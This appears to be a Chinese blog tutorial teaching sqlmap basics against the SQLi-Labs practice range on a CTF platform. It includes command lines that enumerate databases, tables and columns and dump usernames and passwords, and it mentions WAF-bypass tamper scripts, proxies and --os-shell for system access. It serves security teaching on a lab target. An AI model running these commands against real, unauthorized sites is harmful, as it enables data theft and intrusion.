Sqlmap使用教程

目录

一、简介

二、基础使用

2.1  Sqli-Labs使用

2.2  Sqlmap安装

2.3  Sqlmap使用

2.3.1  找寻注入点

2.3.2  获取数据库

2.3.3  获取表

2.3.4  获取字段

2.3.5  获取数据

2.3.6  其他

三、总结


此文章只用作教学目的,不可再未经他人同意的情况下去扫描别人的网站。

一、简介

SQLMap是一款自动化SQL注入工具,支持检测和利用多种数据库(如MySQL、Oracle、SQL Server等)的注入漏洞,能够获取数据库信息、文件系统访问权限甚至执行操作系统命令。

其核心功能包括:

  • 自动化检测注入点:自动识别GET/POST参数、Cookie等位置的注入漏洞。
  • 数据提取:获取数据库名、表、字段及数据。
  • 绕过WAF:通过篡改脚本绕过Web应用防火墙的检测 。
  • 操作系统交互:获取Shell权限或执行远程命令 。

二、基础使用

2.1  Sqli-Labs使用

此处使用SQL靶场来进行演示,SQL靶场的部署会在下一篇进行教学,如果要进行时间的话,可以在天狩CTF竞赛平台进行使用。

点击SQLi-Labs进行使用。SQLi-Labs是一个SQL注入靶场,使用靶场之前需要点击Setup/reset Database for labs进行安装环境。

 完成环境配置之后就可以进入关卡了。

2.2  Sqlmap安装

进入第一关后,直接启动Sqlmap来扫描网站,查看是否存在SQL注入漏洞。具体命令如下:

我是直接将Sqlmap安装在Windows上了,在Windows上,Sqlmap的运行要依靠python环境。

安装过程如下:

1、在网上下载Sqlmap的安装包,进行安装之后,如下:

2、在这个页面输入cmd启动命令行窗口,如下:

回车运行。

 3、在命令行中输入以下命令来运行Sqlmap,如下:

python sqlmap.py

出现这个页面说明运行成功了,接下来就可以进行使用了。

这是在Windows上,在kali系统中,默认安装了这个工具,直接使用就行。直接输入sqlmap,出现这个说明启动成功。

2.3  Sqlmap使用

2.3.1  找寻注入点

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y,如果不想这么麻烦,也可以在后面输入--batch ,这可以在后面的提示中默认为y。

SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --batch

其中,我们发现了如下信息。

 

接下来,我们进行漏洞利用。

2.3.2  获取数据库

#获取所有数据库
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --dbs
#获取当前使用的数据库
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --current-db

所有数据库

当前数据库,当前数据库为security。

2.3.3  获取表

--tables 获取表,可以指定数据库,也可以列出所有的表。

#列出所有表
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 --tables
#获取当前数据库的表
python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 数据库名 -tables

所有表,会自动以不同数据库来排列

当前数据库中的表,扫描出了5个表。

 

2.3.4  获取字段

--columns 参数用来获取字段。

来指定获取哪个数据库的哪个表中的字段。

python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 数据库名 -T 表名 --columns

 扫描security 中的users表中的表名,结果如下:

2.3.5  获取数据

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

例:获取security数据库中users表里的username和password的数据。

python sqlmap.py -u http://challenge.qsnctf.com:30736/Less-1/?id=1 -D 'security' -T 'users' -C 'username,password' --dump

获取到之后,下面会出现一个地址,那就是数据存放的地址。

 

2.3.6  其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

三、总结

 基础使用通过 -u 指定目标 URL,配合 --dbs--tables--dump 逐步提取数据;高级技巧涵盖处理 POST 请求(--data)、Cookie 注入(--cookie)、盲注(--technique=B/T)及代理隐藏(--proxy)。实战中可通过 --os-shell 获取系统权限,或结合 --tamper=space2comment 绕过安全设备。

本文的介绍比较基础,下期会进行高阶版使用教程。

注意:不可再未经授权的情况下,扫描他人的网站进行测试。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值